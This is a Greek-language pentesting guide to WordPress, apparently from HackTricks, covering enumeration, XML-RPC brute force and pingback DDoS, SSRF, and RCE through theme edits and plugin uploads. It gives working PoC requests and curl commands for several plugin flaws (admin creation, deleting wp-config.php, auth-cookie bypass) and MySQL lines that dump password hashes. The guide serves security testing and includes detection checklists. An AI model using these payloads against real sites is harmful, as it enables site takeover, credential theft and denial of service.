Wordpress
Tip
Μάθετε & εξασκηθείτε στο AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Υποστηρίξτε το HackTricks
- Ελέγξτε τα σχέδια συνδρομής!
- Εγγραφείτε στην 💬 ομάδα Discord ή στην ομάδα telegram ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.
- Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.
Βασικές Πληροφορίες
-
Uploaded αρχεία πηγαίνουν σε:
http://10.10.10.10/wp-content/uploads/2018/08/a.txt -
Τα αρχεία θεμάτων βρίσκονται στο /wp-content/themes/, οπότε αν αλλάξετε κάποιο php του theme για να αποκτήσετε RCE πιθανότατα θα χρησιμοποιήσετε αυτό το μονοπάτι. Για παράδειγμα: Χρησιμοποιώντας theme twentytwelve μπορείτε να έχετε πρόσβαση στο αρχείο 404.php στο: /wp-content/themes/twentytwelve/404.php
-
Άλλο χρήσιμο url μπορεί να είναι: /wp-content/themes/default/404.php
-
Στο wp-config.php μπορείτε να βρείτε τον κωδικό/root της βάσης δεδομένων.
-
Πρωτότυπα μονοπάτια εισόδου για έλεγχο: /wp-login.php, /wp-login/, /wp-admin/, /wp-admin.php, /login/
Main WordPress Files
index.phplicense.txtπεριέχει χρήσιμες πληροφορίες όπως η εγκατεστημένη έκδοση του WordPress.wp-activate.phpχρησιμοποιείται για τη διαδικασία ενεργοποίησης μέσω email κατά τη ρύθμιση ενός νέου WordPress site.- Φάκελοι login (μπορεί να μετονομαστούν για να κρυφτούν):
/wp-admin/login.php/wp-admin/wp-login.php/login.php/wp-login.phpxmlrpc.phpείναι ένα αρχείο που αντιπροσωπεύει μια λειτουργία του WordPress που επιτρέπει τη μετάδοση δεδομένων με HTTP ως μηχανισμό μεταφοράς και XML ως μηχανισμό κωδικοποίησης. Αυτός ο τύπος επικοινωνίας έχει αντικατασταθεί από το WordPress REST API.- Ο φάκελος
wp-contentείναι ο κύριος κατάλογος όπου αποθηκεύονται plugins και themes. wp-content/uploads/είναι ο κατάλογος όπου αποθηκεύονται αρχεία που έχουν ανεβεί στην πλατφόρμα.wp-includes/Αυτός είναι ο κατάλογος όπου αποθηκεύονται αρχεία του πυρήνα, όπως πιστοποιητικά, γραμματοσειρές, αρχεία JavaScript και widgets.wp-sitemap.xmlΣε εκδόσεις WordPress 5.5 και άνω, το WordPress δημιουργεί ένα sitemap XML αρχείο με όλα τα δημόσια posts και τα δημόσια queryable post types και taxonomies.
Post exploitation
- Το αρχείο
wp-config.phpπεριέχει πληροφορίες που απαιτούνται από το WordPress για να συνδεθεί στη βάση δεδομένων όπως το όνομα βάσης δεδομένων, ο host της βάσης, το username και ο password, authentication keys και salts, και το prefix των πινάκων. Αυτό το αρχείο ρύθμισης μπορεί επίσης να χρησιμοποιηθεί για να ενεργοποιήσει το DEBUG mode, το οποίο μπορεί να είναι χρήσιμο για troubleshooting.
Δικαιώματα Χρηστών
- Administrator
- Editor: Δημοσιεύει και διαχειρίζεται τις δικές του και τις αναρτήσεις άλλων
- Author: Δημοσιεύει και διαχειρίζεται τις δικές του αναρτήσεις
- Contributor: Γράφει και διαχειρίζεται τις δικές του αναρτήσεις αλλά δεν μπορεί να τις δημοσιεύσει
- Subscriber: Περιηγείται αναρτήσεις και επεξεργάζεται το προφίλ του
Passive Enumeration
Get WordPress version
Ελέγξτε αν μπορείτε να βρείτε τα αρχεία /license.txt ή /readme.html
Μέσα στον source code της σελίδας (παράδειγμα από https://wordpress.org/support/article/pages/):
- grep
curl https://victim.com/ | grep 'content="WordPress'
meta name
.png)
- Αρχεία σύνδεσης CSS
.png)
- Αρχεία JavaScript
.png)
Λήψη Plugins
curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/support/article/pages/ | grep -E 'wp-content/plugins/' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2
Λήψη Θεμάτων
curl -s -X GET https://wordpress.org/support/article/pages/ | grep -E 'wp-content/themes' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2
Εξαγωγή εκδόσεων γενικά
curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/support/article/pages/ | grep http | grep -E '?ver=' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2
Ενεργή απογραφή
Plugins and Themes
Πιθανότατα δεν θα καταφέρετε να βρείτε όλα τα Plugins και Themes. Για να τα ανακαλύψετε όλα, θα χρειαστεί να actively Brute Force a list of Plugins and Themes (ελπίζουμε να υπάρχουν αυτοματοποιημένα εργαλεία που περιέχουν αυτές τις λίστες).
Χρήστες
- ID Brute: Παίρνετε έγκυρους χρήστες από έναν ιστότοπο WordPress κάνοντας Brute Forcing στα IDs χρηστών:
curl -s -I -X GET http://blog.example.com/?author=1
Εάν οι αποκρίσεις είναι 200 ή 30X, αυτό σημαίνει ότι το id είναι έγκυρο. Εάν η απόκριση είναι 400, τότε το id είναι άκυρο.
- wp-json: Μπορείτε επίσης να δοκιμάσετε να λάβετε πληροφορίες για τους χρήστες στέλνοντας ερωτήματα στο:
curl http://blog.example.com/wp-json/wp/v2/users
Ένα ακόμα /wp-json/ endpoint που μπορεί να αποκαλύψει κάποιες πληροφορίες για χρήστες είναι:
curl http://blog.example.com/wp-json/oembed/1.0/embed?url=POST-URL
Note that this endpoint only exposes users that have made a post. Θα παρέχονται μόνο πληροφορίες για τους χρήστες που έχουν αυτή τη λειτουργία ενεργοποιημένη.
Also note that /wp-json/wp/v2/pages could leak διευθύνσεις IP.
- Login username enumeration: Κατά τη σύνδεση στο
/wp-login.phpτο μήνυμα είναι διαφορετικό ανάλογα με το αν το δηλωθέν username υπάρχει ή όχι.
XML-RPC
If xml-rpc.php is active you can perform a credentials brute-force or use it to launch DoS attacks to other resources. (Μπορείτε να αυτοματοποιήσετε αυτή τη διαδικασία using this για παράδειγμα).
To see if it is active try to access to /xmlrpc.php and send this request:
Έλεγχος
<methodCall>
<methodName>system.listMethods</methodName>
<params></params>
</methodCall>

Credentials Bruteforce
wp.getUserBlogs, wp.getCategories ή metaWeblog.getUsersBlogs είναι μερικές από τις μεθόδους που μπορούν να χρησιμοποιηθούν για brute-force credentials. Αν βρείτε κάποια από αυτές, μπορείτε να στείλετε κάτι σαν:
<methodCall>
<methodName>wp.getUsersBlogs</methodName>
<params>
<param><value>admin</value></param>
<param><value>pass</value></param>
</params>
</methodCall>
Το μήνυμα “Incorrect username or password” μέσα σε απάντηση με κωδικό 200 πρέπει να εμφανίζεται αν τα credentials δεν είναι έγκυρα.
 (2) (2) (2) (2) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (2) (4) (1).png)
.png)
Χρησιμοποιώντας τα σωστά credentials μπορείτε να ανεβάσετε ένα αρχείο. Στην απάντηση θα εμφανιστεί το path (https://gist.github.com/georgestephanis/5681982)
<?xml version='1.0' encoding='utf-8'?>
<methodCall>
<methodName>wp.uploadFile</methodName>
<params>
<param><value><string>1</string></value></param>
<param><value><string>username</string></value></param>
<param><value><string>password</string></value></param>
<param>
<value>
<struct>
<member>
<name>name</name>
<value><string>filename.jpg</string></value>
</member>
<member>
<name>type</name>
<value><string>mime/type</string></value>
</member>
<member>
<name>bits</name>
<value><base64><![CDATA[---base64-encoded-data---]]></base64></value>
</member>
</struct>
</value>
</param>
</params>
</methodCall>
Επιπλέον υπάρχει ένας γρηγορότερος τρόπος για brute-force διαπιστευτηρίων χρησιμοποιώντας system.multicall καθώς μπορείτε να δοκιμάσετε πολλά διαπιστευτήρια στο ίδιο αίτημα:
.png)
Παράκαμψη 2FA
Αυτή η μέθοδος προορίζεται για προγράμματα και όχι για ανθρώπους, και είναι παλιά, επομένως δεν υποστηρίζει 2FA. Άρα, αν έχετε έγκυρα διαπιστευτήρια αλλά η κύρια είσοδος προστατεύεται με 2FA, μπορεί να καταφέρετε να καταχραστείτε το xmlrpc.php για να συνδεθείτε με αυτά τα διαπιστευτήρια παρακάμπτοντας το 2FA. Σημειώστε ότι δεν θα μπορείτε να εκτελέσετε όλες τις ενέργειες που μπορείτε να κάνετε μέσω της κονσόλας, αλλά ίσως να καταφέρετε να φτάσετε σε RCE όπως εξηγεί ο Ippsec στο https://www.youtube.com/watch?v=p8mIdm93mfw&t=1130s
DDoS or port scanning
Αν βρείτε τη μέθοδο pingback.ping μέσα στη λίστα μπορείτε να κάνετε το Wordpress να στείλει ένα αυθαίρετο αίτημα σε οποιονδήποτε host/port.
Αυτό μπορεί να χρησιμοποιηθεί για να ζητήσετε από χιλιάδες Wordpress sites να προσπελάσουν μία τοποθεσία (έτσι προκαλείται DDoS στη συγκεκριμένη τοποθεσία) ή μπορείτε να το χρησιμοποιήσετε για να κάνετε το Wordpress να σκανάρει κάποιο εσωτερικό δίκτυο (μπορείτε να δηλώσετε οποιαδήποτε θύρα).
<methodCall>
<methodName>pingback.ping</methodName>
<params><param>
<value><string>http://<YOUR SERVER >:<port></string></value>
</param><param><value><string>http://<SOME VALID BLOG FROM THE SITE ></string>
</value></param></params>
</methodCall>

Αν λάβετε faultCode με τιμή μεγαλύτερη από 0 (17), σημαίνει ότι η θύρα είναι ανοιχτή.
Δείτε τη χρήση του system.multicall στην προηγούμενη ενότητα για να μάθετε πώς να κακοχρησιμοποιήσετε αυτή τη μέθοδο για να προκαλέσετε DDoS.
DDoS
<methodCall>
<methodName>pingback.ping</methodName>
<params>
<param><value><string>http://target/</string></value></param>
<param><value><string>http://yoursite.com/and_some_valid_blog_post_url</string></value></param>
</params>
</methodCall>
.png)
wp-cron.php DoS
Αυτό το αρχείο συνήθως υπάρχει στη ρίζα του Wordpress site: /wp-cron.php
Όταν αυτό το αρχείο προσπελαστεί εκτελείται ένα «heavy» MySQL query, οπότε μπορεί να χρησιμοποιηθεί από attackers για να προκαλέσει DoS.
Επίσης, από προεπιλογή, το wp-cron.php καλείται σε κάθε page load (κάθε φορά που ένας client ζητά οποιαδήποτε Wordpress σελίδα), κάτι που σε sites με υψηλή κίνηση μπορεί να προκαλέσει προβλήματα (DoS).
Συνιστάται να απενεργοποιήσετε το Wp-Cron και να δημιουργήσετε ένα πραγματικό cronjob στον host που θα εκτελεί τις απαραίτητες ενέργειες σε τακτικό διάστημα (χωρίς να προκαλεί προβλήματα).
/wp-json/oembed/1.0/proxy - SSRF
Δοκιμάστε να προσπελάσετε https://worpress-site.com/wp-json/oembed/1.0/proxy?url=ybdk28vjsa9yirr7og2lukt10s6ju8.burpcollaborator.net και το Worpress site μπορεί να πραγματοποιήσει request προς εσάς.
This is the response when it doesn’t work:
.png)
SSRF
https://github.com/t0gu/quickpress/blob/master/core/requests.go
Αυτό το εργαλείο ελέγχει αν υπάρχει το methodName: pingback.ping και το path /wp-json/oembed/1.0/proxy και αν υπάρχουν, προσπαθεί να τα εκμεταλλευτεί.
Αυτόματα εργαλεία
cmsmap -s http://www.domain.com -t 2 -a "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:69.0) Gecko/20100101 Firefox/69.0"
wpscan --rua -e ap,at,tt,cb,dbe,u,m --url http://www.domain.com [--plugins-detection aggressive] --api-token <API_TOKEN> --passwords /usr/share/wordlists/external/SecLists/Passwords/probable-v2-top1575.txt #Brute force found users and search for vulnerabilities using a free API token (up 50 searchs)
#You can try to bruteforce the admin user using wpscan with "-U admin"
Απόκτηση πρόσβασης αντικαθιστώντας ένα bit
Περισσότερο σαν περιέργεια παρά σαν πραγματική επίθεση. Στο CTF https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man μπορούσες να αναστρέψεις 1 bit σε οποιοδήποτε wordpress αρχείο. Έτσι μπορούσες να αναστρέψεις τη θέση 5389 του αρχείου /var/www/html/wp-includes/user.php ώστε να κάνεις NOP στην εντολή NOT (!).
if ( ! wp_check_password( $password, $user->user_pass, $user->ID ) ) {
return new WP_Error(
Panel RCE
Τροποποίηση ενός php από το theme που χρησιμοποιείται (απαιτούνται admin credentials)
Appearance → Theme Editor → 404 Template (στα δεξιά)
Αλλάξτε το περιεχόμενο σε ένα php shell:
.png)
Αναζητήστε στο internet πώς μπορείτε να αποκτήσετε πρόσβαση σε αυτή τη σελίδα που ενημερώθηκε. Σε αυτή την περίπτωση πρέπει να αποκτήσετε πρόσβαση εδώ: http://10.11.1.234/wp-content/themes/twentytwelve/404.php
MSF
Μπορείτε να χρησιμοποιήσετε:
use exploit/unix/webapp/wp_admin_shell_upload
για να αποκτήσετε session.
Plugin RCE
PHP plugin
Ενδέχεται να είναι δυνατό να ανεβάσετε αρχεία .php ως plugin.
Δημιουργήστε το php backdoor σας, για παράδειγμα χρησιμοποιώντας:
.png)
Στη συνέχεια προσθέστε ένα νέο plugin:
.png)
Ανεβάστε το plugin και πατήστε Install Now:
.png)
Κάντε κλικ στο Procced:
.png)
Πιθανότατα αυτό δεν θα κάνει τίποτα εμφανώς, αλλά αν μεταβείτε στο Media, θα δείτε το shell σας ανεβασμένο:
.png)
Ανοίγοντάς το θα δείτε το URL για να εκτελέσετε το reverse shell:
.png)
Ανέβασμα και ενεργοποίηση malicious plugin
Αυτή η μέθοδος περιλαμβάνει την εγκατάσταση ενός malicious plugin που είναι γνωστό ότι έχει ευπάθεια και μπορεί να εκμεταλλευτεί για να αποκτηθεί web shell. Η διαδικασία εκτελείται μέσω του WordPress dashboard ως εξής:
- Plugin Acquisition: Το plugin αποκτάται από μια πηγή όπως το Exploit DB, όπως here.
- Plugin Installation:
- Μεταβείτε στο WordPress dashboard, στη συνέχεια πηγαίνετε στο
Dashboard > Plugins > Upload Plugin. - Ανεβάστε το zip αρχείο του κατεβασμένου plugin.
- Plugin Activation: Μόλις το plugin εγκατασταθεί επιτυχώς, πρέπει να ενεργοποιηθεί μέσω του dashboard.
- Exploitation:
- Με το plugin “reflex-gallery” εγκατεστημένο και ενεργοποιημένο, μπορεί να εκμεταλλευτεί καθώς είναι γνωστό ότι έχει ευπάθεια.
- Το Metasploit framework παρέχει ένα exploit για αυτή την ευπάθεια. Φορτώνοντας το κατάλληλο module και εκτελώντας συγκεκριμένες εντολές, μπορεί να δημιουργηθεί μια meterpreter session, παρέχοντας μη εξουσιοδοτημένη πρόσβαση στον ιστότοπο.
- Σημειώνεται ότι αυτή είναι μόνο μία από τις πολλές μεθόδους για να εκμεταλλευτεί κάποιος έναν WordPress ιστότοπο.
Το περιεχόμενο περιλαμβάνει οπτικά βοηθήματα που απεικονίζουν τα βήματα στο WordPress dashboard για την εγκατάσταση και ενεργοποίηση του plugin. Ωστόσο, είναι σημαντικό να σημειωθεί ότι η εκμετάλλευση ευπαθειών με αυτόν τον τρόπο είναι παράνομη και ανήθικη χωρίς κατάλληλη εξουσιοδότηση. Αυτές οι πληροφορίες πρέπει να χρησιμοποιούνται υπεύθυνα και μόνο σε νομικό πλαίσιο, όπως κατά το penetration testing με ρητή άδεια.
For more detailed steps check: https://www.hackingarticles.in/wordpress-reverse-shell/
From XSS to RCE
- WPXStrike: WPXStrike είναι ένα script σχεδιασμένο να κλιμακώνει μια ευπάθεια Cross-Site Scripting (XSS) σε Remote Code Execution (RCE) ή άλλες κρίσιμες ευπάθειες στο WordPress. Για περισσότερες πληροφορίες δείτε this post. Παρέχει υποστήριξη για εκδόσεις του WordPress 6.X.X, 5.X.X και 4.X.X και επιτρέπει:
- Privilege Escalation: Δημιουργεί έναν χρήστη στο WordPress.
- (RCE) Custom Plugin (backdoor) Upload: Ανεβάστε το custom plugin (backdoor) σας στο WordPress.
- (RCE) Built-In Plugin Edit: Επεξεργασία built-in plugins στο WordPress.
- (RCE) Built-In Theme Edit: Επεξεργασία built-in themes στο WordPress.
- (Custom) Custom Exploits: Custom Exploits για third-party WordPress plugins/themes.
Post Exploitation
Εξαγωγή usernames και passwords:
mysql -u <USERNAME> --password=<PASSWORD> -h localhost -e "use wordpress;select concat_ws(':', user_login, user_pass) from wp_users;"
Αλλαγή κωδικού admin:
mysql -u <USERNAME> --password=<PASSWORD> -h localhost -e "use wordpress;UPDATE wp_users SET user_pass=MD5('hacked') WHERE ID = 1;"
Wordpress Plugins Pentest
Επιφάνεια επίθεσης
Το να γνωρίζεις πώς ένα Wordpress plugin μπορεί να εκθέτει λειτουργικότητα είναι κρίσιμο για να βρεις ευπάθειες στη λειτουργικότητά του. Μπορείς να βρεις πώς ένα plugin μπορεί να εκθέσει λειτουργικότητα στα παρακάτω σημεία και μερικά παραδείγματα ευπαθών plugins στο this blog post.
wp_ajax
Ένας από τους τρόπους που ένα plugin μπορεί να εκθέσει συναρτήσεις σε χρήστες είναι μέσω των AJAX handlers. Αυτές μπορεί να περιέχουν σφάλματα λογικής, authorization ή authentication. Επιπλέον, είναι αρκετά συχνό αυτές οι συναρτήσεις να στηρίζουν τόσο την authentication όσο και την authorization στην ύπαρξη ενός Wordpress nonce το οποίο ο οποιοσδήποτε authenticated χρήστης στην Wordpress instance μπορεί να έχει (ανεξάρτητα από τον ρόλο του).
Αυτές είναι οι συναρτήσεις που μπορούν να χρησιμοποιηθούν για να εκθέσουν μια λειτουργία σε ένα plugin:
add_action( 'wp_ajax_action_name', array(&$this, 'function_name'));
add_action( 'wp_ajax_nopriv_action_name', array(&$this, 'function_name'));
Η χρήση του nopriv κάνει το endpoint προσβάσιμο από οποιονδήποτε χρήστη (ακόμα και μη αυθεντικοποιημένους).
Caution
Επιπλέον, αν η συνάρτηση απλώς ελέγχει την εξουσιοδότηση του χρήστη με τη συνάρτηση
wp_verify_nonce, αυτή η συνάρτηση ελέγχει μόνο ότι ο χρήστης είναι συνδεδεμένος· συνήθως δεν ελέγχει το ρόλο του χρήστη. Έτσι, χρήστες με χαμηλά δικαιώματα μπορεί να έχουν πρόσβαση σε ενέργειες με υψηλά δικαιώματα.
- REST API
It’s also possible to expose functions from wordpress registering a rest AP using the register_rest_route function:
register_rest_route(
$this->namespace, '/get/', array(
'methods' => WP_REST_Server::READABLE,
'callback' => array($this, 'getData'),
'permission_callback' => '__return_true'
)
);
The permission_callback is a callback to function that checks if a given user is authorized to call the API method.
Αν χρησιμοποιηθεί η ενσωματωμένη συνάρτηση __return_true, απλώς θα παραλείψει τον έλεγχο δικαιωμάτων χρήστη.
- Άμεση πρόσβαση στο αρχείο php
Φυσικά, WordPress χρησιμοποιεί PHP και τα αρχεία μέσα σε plugins είναι άμεσα προσβάσιμα από το web. Έτσι, σε περίπτωση που ένα plugin εκθέτει κάποια ευάλωτη λειτουργικότητα που ενεργοποιείται απλώς με την πρόσβαση στο αρχείο, αυτή μπορεί να εκμεταλλευτεί από οποιονδήποτε χρήστη.
Απομίμηση REST μέσω trusted-header (WooCommerce Payments ≤ 5.6.1)
Κάποια plugins υλοποιούν συντομεύσεις “trusted header” για εσωτερικές ενσωματώσεις ή reverse proxies και στη συνέχεια χρησιμοποιούν αυτό το header για να θέσουν το τρέχον context χρήστη για REST αιτήματα. Εάν το header δεν δεσμεύεται κρυπτογραφικά με το αίτημα από ένα upstream component, ένας επιτιθέμενος μπορεί να το πλαστογραφήσει και να προσπελάσει privileged REST routes ως administrator.
- Impact: μη αυθεντικοποιημένη αύξηση προνομίων σε administrator, δημιουργώντας νέο διαχειριστή μέσω του core users REST route.
- Example header:
X-Wcpay-Platform-Checkout-User: 1(επιβάλλει user ID 1, συνήθως ο πρώτος λογαριασμός administrator). - Exploited route:
POST /wp-json/wp/v2/usersμε έναν πίνακα ρόλων με αυξημένα δικαιώματα.
PoC
POST /wp-json/wp/v2/users HTTP/1.1
Host: <WP HOST>
User-Agent: Mozilla/5.0
Accept: application/json
Content-Type: application/json
X-Wcpay-Platform-Checkout-User: 1
Content-Length: 114
{"username": "honeypot", "email": "wafdemo@patch.stack", "password": "demo", "roles": ["administrator"]}
Γιατί λειτουργεί
- Το plugin αντιστοιχίζει ένα header ελεγχόμενο από τον client στην κατάσταση αυθεντικοποίησης και παραλείπει τους ελέγχους capability.
- Ο πυρήνας του WordPress απαιτεί την capability
create_usersγια αυτή τη διαδρομή· το hack του plugin την παρακάμπτει θέτοντας απευθείας το context του current user από το header.
Δείκτες επιτυχίας
- HTTP 201 με σώμα JSON που περιγράφει τον δημιουργημένο χρήστη.
- Ένας νέος admin χρήστης ορατός στο
wp-admin/users.php.
Λίστα ελέγχου ανίχνευσης
- Ψάξτε με grep για
getallheaders(),$_SERVER['HTTP_...'], ή vendor SDKs που διαβάζουν custom headers για να θέσουν το user context (π.χ.wp_set_current_user(),wp_set_auth_cookie()). - Εξετάστε τις REST registrations για privileged callbacks που στερούνται ισχυρών ελέγχων
permission_callbackκαι αντίθετα βασίζονται σε request headers. - Ψάξτε για χρήσεις των core user-management συναρτήσεων (
wp_insert_user,wp_create_user) μέσα σε REST handlers που προστατεύονται μόνο από τιμές header.
Μη-επαληθευμένη Αυθαίρετη Διαγραφή Αρχείων μέσω wp_ajax_nopriv (Litho Theme <= 3.0)
Τα WordPress themes και plugins συχνά εκθέτουν AJAX handlers μέσω των hooks wp_ajax_ και wp_ajax_nopriv_. Όταν χρησιμοποιείται η παραλλαγή nopriv τότε η callback γίνεται προσβάσιμη από μη-επαληθευμένους επισκέπτες, οπότε κάθε ευαίσθητη ενέργεια πρέπει επιπλέον να υλοποιεί:
- Έναν έλεγχο capability (π.χ.
current_user_can()ή τουλάχιστονis_user_logged_in()), και - Ένα CSRF nonce που επικυρώνεται με
check_ajax_referer()/wp_verify_nonce(), και - Αυστηρό έλεγχο και επικύρωση εισόδου.
Το Litho multipurpose theme (< 3.1) ξέχασε αυτούς τους 3 ελέγχους στη δυνατότητα Remove Font Family και κατέληξε να παραδίδει τον ακόλουθο κώδικα (απλουστευμένος):
function litho_remove_font_family_action_data() {
if ( empty( $_POST['fontfamily'] ) ) {
return;
}
$fontfamily = str_replace( ' ', '-', $_POST['fontfamily'] );
$upload_dir = wp_upload_dir();
$srcdir = untrailingslashit( wp_normalize_path( $upload_dir['basedir'] ) ) . '/litho-fonts/' . $fontfamily;
$filesystem = Litho_filesystem::init_filesystem();
if ( file_exists( $srcdir ) ) {
$filesystem->delete( $srcdir, FS_CHMOD_DIR );
}
die();
}
add_action( 'wp_ajax_litho_remove_font_family_action_data', 'litho_remove_font_family_action_data' );
add_action( 'wp_ajax_nopriv_litho_remove_font_family_action_data', 'litho_remove_font_family_action_data' );
Προβλήματα που εισάγει αυτό το απόσπασμα:
- Μη αυθεντικοποιημένη πρόσβαση – το hook
wp_ajax_nopriv_είναι καταχωρημένο. - Δεν υπάρχει έλεγχος nonce / capability – οποιοσδήποτε επισκέπτης μπορεί να προσπελάσει το endpoint.
- Καμία εξυγίανση της διαδρομής – η συμβολοσειρά
fontfamilyπου ελέγχεται από τον χρήστη συγκολλάται σε μια filesystem διαδρομή χωρίς φιλτράρισμα, επιτρέποντας το κλασικό../../traversal.
Εκμετάλλευση
Ένας επιτιθέμενος μπορεί να διαγράψει οποιοδήποτε αρχείο ή κατάλογο κάτω από τον βασικό κατάλογο uploads (συνήθως <wp-root>/wp-content/uploads/) στέλνοντας ένα μόνο HTTP POST request:
curl -X POST https://victim.com/wp-admin/admin-ajax.php \
-d 'action=litho_remove_font_family_action_data' \
-d 'fontfamily=../../../../wp-config.php'
Επειδή το wp-config.php βρίσκεται έξω από τους uploads, τέσσερις ακολουθίες ../ είναι αρκετές σε μια προεπιλεγμένη εγκατάσταση. Η διαγραφή του wp-config.php αναγκάζει το WordPress να μπει στον installation wizard στην επόμενη επίσκεψη, επιτρέποντας πλήρη κατάληψη του site (ο επιτιθέμενος απλώς παρέχει μια νέα DB ρύθμιση και δημιουργεί έναν admin χρήστη).
Άλλοι σημαντικοί στόχοι περιλαμβάνουν αρχεία plugin/theme .php (για να παρακάμψουν plugins ασφαλείας) ή κανόνες .htaccess.
Λίστα ελέγχου ανίχνευσης
- Οποιοδήποτε callback
add_action( 'wp_ajax_nopriv_...')που καλεί helpers συστήματος αρχείων (copy(),unlink(),$wp_filesystem->delete(), κ.λπ.). - Συνένωση μη-επεξεργασμένης εισόδου χρήστη σε διαδρομές (αναζητήστε
$_POST,$_GET,$_REQUEST). - Έλλειψη των
check_ajax_referer()καιcurrent_user_can()/is_user_logged_in().
Privilege escalation μέσω επαναφοράς παρωχημένου ρόλου και έλλειψης εξουσιοδότησης (ASE “View Admin as Role”)
Πολλά plugins υλοποιούν μια δυνατότητα “view as role” ή προσωρινής εναλλαγής ρόλου αποθηκεύοντας τον/τους αρχικό(ούς) ρόλο(ους) στο user meta ώστε να μπορούν να αποκατασταθούν αργότερα. Αν το μονοπάτι επαναφοράς βασίζεται μόνο σε παραμέτρους request (π.χ. $_REQUEST['reset-for']) και σε μια λίστα που διατηρείται από το plugin χωρίς έλεγχο capabilities και έγκυρου nonce, αυτό γίνεται vertical privilege escalation.
Ένα πραγματικό παράδειγμα βρέθηκε στο plugin Admin and Site Enhancements (ASE) (≤ 7.6.2.1). Το reset branch επανέφερε ρόλους βασισμένο στο reset-for=<username> αν το username εμφανιζόταν σε ένα εσωτερικό array $options['viewing_admin_as_role_are'], αλλά δεν εκτέλεσε ούτε έλεγχο current_user_can() ούτε επαλήθευση nonce πριν αφαιρέσει τους τρέχοντες ρόλους και επανπροσθέσει τους αποθηκευμένους ρόλους από το user meta _asenha_view_admin_as_original_roles:
// Simplified vulnerable pattern
if ( isset( $_REQUEST['reset-for'] ) ) {
$reset_for_username = sanitize_text_field( $_REQUEST['reset-for'] );
$usernames = get_option( ASENHA_SLUG_U, [] )['viewing_admin_as_role_are'] ?? [];
if ( in_array( $reset_for_username, $usernames, true ) ) {
$u = get_user_by( 'login', $reset_for_username );
foreach ( $u->roles as $role ) { $u->remove_role( $role ); }
$orig = (array) get_user_meta( $u->ID, '_asenha_view_admin_as_original_roles', true );
foreach ( $orig as $r ) { $u->add_role( $r ); }
}
}
Γιατί είναι εκμεταλλεύσιμο
- Εμπιστεύεται
$_REQUEST['reset-for']και μια επιλογή plugin χωρίς εξουσιοδότηση στον server. - Εάν ένας χρήστης προηγουμένως είχε υψηλότερα προνόμια αποθηκευμένα στο
_asenha_view_admin_as_original_rolesκαι υποβαθμίστηκε, μπορεί να τα επαναφέρει προσπελάζοντας τη διαδρομή επαναφοράς. - Σε ορισμένες εγκαταστάσεις, οποιοσδήποτε επαληθευμένος χρήστης θα μπορούσε να προκαλέσει επαναφορά για άλλο όνομα χρήστη που εξακολουθεί να υπάρχει στο
viewing_admin_as_role_are(σπασμένη εξουσιοδότηση).
Εκμετάλλευση (παράδειγμα)
# While logged in as the downgraded user (or any auth user able to trigger the code path),
# hit any route that executes the role-switcher logic and include the reset parameter.
# The plugin uses $_REQUEST, so GET or POST works. The exact route depends on the plugin hooks.
curl -s -k -b 'wordpress_logged_in=...' \
'https://victim.example/wp-admin/?reset-for=<your_username>'
Σε ευάλωτες εκδόσεις αυτό αφαιρεί τους τρέχοντες ρόλους και επαναπροσθέτει τους αποθηκευμένους αρχικούς ρόλους (π.χ. administrator), ανεβάζοντας ουσιαστικά τα προνόμια.
Λίστα ελέγχου ανίχνευσης
- Αναζητήστε λειτουργίες αλλαγής ρόλου που διατηρούν τους “original roles” στο user meta (π.χ.
_asenha_view_admin_as_original_roles). - Εντοπίστε reset/restore paths που:
- Διαβάζουν usernames από
$_REQUEST/$_GET/$_POST. - Τροποποιούν ρόλους μέσω
add_role()/remove_role()χωρίςcurrent_user_can()καιwp_verify_nonce()/check_admin_referer(). - Εξουσιοδοτούν με βάση ένα plugin option array (π.χ.
viewing_admin_as_role_are) αντί για τις δυνατότητες του ενεργούντος χρήστη.
- Διαβάζουν usernames από
Unauthenticated privilege escalation via cookie‑trusted user switching on public init (Service Finder “sf-booking”)
Some plugins wire user-switching helpers to the public init hook and derive identity from a client-controlled cookie. If the code calls wp_set_auth_cookie() without verifying authentication, capability and a valid nonce, any unauthenticated visitor can force login as an arbitrary user ID.
Τυπικό ευάλωτο μοτίβο (απλοποιημένο από Service Finder Bookings ≤ 6.1):
function service_finder_submit_user_form(){
if ( isset($_GET['switch_user']) && is_numeric($_GET['switch_user']) ) {
$user_id = intval( sanitize_text_field($_GET['switch_user']) );
service_finder_switch_user($user_id);
}
if ( isset($_GET['switch_back']) ) {
service_finder_switch_back();
}
}
add_action('init', 'service_finder_submit_user_form');
function service_finder_switch_back() {
if ( isset($_COOKIE['original_user_id']) ) {
$uid = intval($_COOKIE['original_user_id']);
if ( get_userdata($uid) ) {
wp_set_current_user($uid);
wp_set_auth_cookie($uid); // 🔥 sets auth for attacker-chosen UID
do_action('wp_login', get_userdata($uid)->user_login, get_userdata($uid));
setcookie('original_user_id', '', time() - 3600, '/');
wp_redirect( admin_url('admin.php?page=candidates') );
exit;
}
wp_die('Original user not found.');
}
wp_die('No original user found to switch back to.');
}
Γιατί είναι εκμεταλλεύσιμο
- Ο public
inithook καθιστά τον handler προσβάσιμο από μη αυθεντικοποιημένους χρήστες (δεν υπάρχει ο έλεγχοςis_user_logged_in()). - Η ταυτότητα προκύπτει από cookie που μπορεί να τροποποιηθεί από τον client (
original_user_id). - Η άμεση κλήση στη
wp_set_auth_cookie($uid)συνδέει τον αιτούντα ως αυτόν τον χρήστη χωρίς κανέναν έλεγχο capability/nonce.
Εκμετάλλευση (χωρίς αυθεντικοποίηση)
GET /?switch_back=1 HTTP/1.1
Host: victim.example
